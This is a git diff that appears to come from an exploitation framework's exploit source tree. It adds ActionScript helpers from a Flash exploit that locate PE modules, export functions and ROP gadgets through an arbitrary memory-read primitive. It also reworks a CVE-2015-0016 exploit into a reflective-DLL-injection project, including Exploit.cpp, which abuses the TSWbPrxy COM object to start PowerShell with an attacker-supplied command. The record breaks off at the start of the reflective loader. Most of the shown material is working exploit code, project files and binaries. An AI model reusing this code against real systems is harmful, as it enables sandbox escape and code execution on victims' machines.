b/external/source/exploits/CVE-2015-5122/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/cve-2015-0016/.gitignore b/external/source/exploits/cve-2015-0016/.gitignore new file mode 100755 index 0000000000..0d61b55c0a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/.gitignore @@ -0,0 +1,16 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +rdi.ncb +rdi.suo +rdi.sdf +rdi.opensdf +rdi.v11.suo \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/LICENSE.txt b/external/source/exploits/cve-2015-0016/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/Readme.md b/external/source/exploits/cve-2015-0016/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2015-0016/bin/inject.arm.exe b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe new file mode 100755 index 0000000000..8d25d7bbff Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/inject.exe b/external/source/exploits/cve-2015-0016/bin/inject.exe new file mode 100755 index 0000000000..62156af463 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/inject.x64.exe b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe new file mode 100755 index 0000000000..2ad745e035 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll new file mode 100755 index 0000000000..3d5aae086b Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll new file mode 100755 index 0000000000..2d2f1dbba3 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll new file mode 100755 index 0000000000..a4647765c6 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll differ diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln deleted file mode 100755 index 8edd55e5b0..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt deleted file mode 100755 index 8194dd462a..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt +++ /dev/null @@ -1,48 +0,0 @@ -======================================================================== - DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview -======================================================================== - -AppWizard has created this cve-2015-0016 DLL for you. - -This file contains a summary of what you will find in each of the files that -make up your cve-2015-0016 application. - - -cve-2015-0016.vcxproj - This is the main project file for VC++ projects generated using an Application Wizard. - It contains information about the version of Visual C++ that generated the file, and - information about the platforms, configurations, and project features selected with the - Application Wizard. - -cve-2015-0016.vcxproj.filters - This is the filters file for VC++ projects generated using an Application Wizard. - It contains information about the association between the files in your project - and the filters. This association is used in the IDE to show grouping of files with - similar extensions under a specific node (for e.g. ".cpp" files are associated with the - "Source Files" filter). - -cve-2015-0016.cpp - This is the main DLL source file. - - When created, this DLL does not export any symbols. As a result, it - will not produce a .lib file when it is built. If you wish this project - to be a project dependency of some other project, you will either need to - add code to export some symbols from the DLL so that an export library - will be produced, or you can set the Ignore Input Library property to Yes - on the General propert page of the Linker folder in the project's Property - Pages dialog box. - -///////////////////////////////////////////////////////////////////////////// -Other standard files: - -StdAfx.h, StdAfx.cpp - These files are used to build a precompiled header (PCH) file - named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. - -///////////////////////////////////////////////////////////////////////////// -Other notes: - -AppWizard uses "TODO:" comments to indicate parts of the source code you -should add to or customize. - -///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp deleted file mode 100755 index 753bd5d368..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp +++ /dev/null @@ -1,46 +0,0 @@ -// MyExploit.cpp : Defines the exported functions for the DLL application. -// - -#include "stdafx.h" -#include - -#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace -#define MAX_ENV 32767 - -bstr_t GetEnv(LPCSTR env) -{ - CHAR buf[MAX_ENV]; - - GetEnvironmentVariable(env, buf, MAX_ENV); - - return buf; -} - -void DoTSWbPrxyExploit() { - HRESULT hr; - IMSTSWebProxy *pUnk; - - CHAR cmdline[] = "TSWbPrxy.exe"; - STARTUPINFO startInfo = { 0 }; - PROCESS_INFORMATION procInfo = { 0 }; - - hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); - if (hr == 0) - return; - - hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); - if (hr != 0) - return; - - pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); - pUnk->Release(); -} - -DWORD CALLBACK ExploitThread(LPVOID hModule) -{ - CoInitialize(nullptr); - DoTSWbPrxyExploit(); - CoUninitialize(); - - FreeLibraryAndExitThread((HMODULE)hModule, 0); -} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj deleted file mode 100755 index 3a252cceaa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450} - Win32Proj - cve20150016 - - - - DynamicLibrary - true - v120 - Unicode - - - DynamicLibrary - false - v120 - true - MultiByte - - - - - - - - - - - - - true - - - false - - - - Use - Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - - - Windows - true - - - - - Level3 - Use - MaxSpeed - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - CompileAsCpp - - - Windows - true - true - true - - - - - - - - - - - - - false - - - false - - - - - Create - Create - - - - - - \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp deleted file mode 100755 index e23ee055cf..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp +++ /dev/null @@ -1,24 +0,0 @@ -// dllmain.cpp : Defines the entry point for the DLL application. -#include "stdafx.h" - -DWORD CALLBACK ExploitThread(LPVOID hModule); - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - - diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp deleted file mode 100755 index 0aef05abb6..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// cve-2015-0016.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h deleted file mode 100755 index 677e68a9fa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h +++ /dev/null @@ -1,16 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include - - - -// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h deleted file mode 100755 index 90e767bfce..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln new file mode 100755 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj new file mode 100755 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..0eeda45bd9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj @@ -0,0 +1,268 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v110 + MultiByte + true + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + true + Windows + true + true + MachineX86 + + + copy ..\Release\reflective_dll.dll ..\bin\ + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..f9a64f93cb --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp new file mode 100755 index 0000000000..aa0829135b --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp @@ -0,0 +1,74 @@ +#include +#include "Exploit.h" +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace + +static const size_t MaxEnv = 32767; + +static PCHAR GetEnv(LPCSTR env) +{ + char *buf = (char *)malloc(MaxEnv); + if (buf == NULL) { + return NULL; + } + + GetEnvironmentVariable(env, buf, MaxEnv); + + return buf; +} + +static VOID DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + PCHAR fullPath = NULL; + PCHAR powershell = NULL; + PCHAR pshCmd = NULL; + + fullPath = GetEnv("windir"); + if (fullPath == NULL) { + goto freeFullPath; + } + strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe"); + + powershell = GetEnv("windir"); + if (powershell == NULL) { + goto freePowershell; + } + strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"); + + pshCmd = GetEnv("PSHCMD"); + if (pshCmd == NULL) { + goto freePowershell; + } + + hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); + if (hr == 0) + goto freePshCmd; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + goto freePshCmd; + + pUnk->StartRemoteDesktop(powershell, pshCmd); + pUnk->Release(); + +freePshCmd: + free(pshCmd); + pshCmd = NULL; +freePowershell: + free(powershell); + powershell = NULL; +freeFullPath: + free(fullPath); + fullPath = NULL; + + return; +} + +VOID DoExploit() { + CoInitialize(NULL); + DoTSWbPrxyExploit(); + CoUninitialize(); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.h b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h new file mode 100755 index 0000000000..1b28acdfe9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID DoExploit(); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4e9ce6d4ce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..f6ec4ca213 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c @@ -0,0 +1,53 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +#include + +#include "ShimsInstaller.h" +#include "Exploit.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved); + +BOOL firstTime = TRUE; + +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (firstTime) { + firstTime = FALSE; + // Will install shims and will result in a new entry to the + // reflective DLL DllMain entryPoint, at that point execution can + // be executed. + InstallShims(hinstDLL, &DllMain, lpReserved); + } + else { + DoExploit(); + } + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security 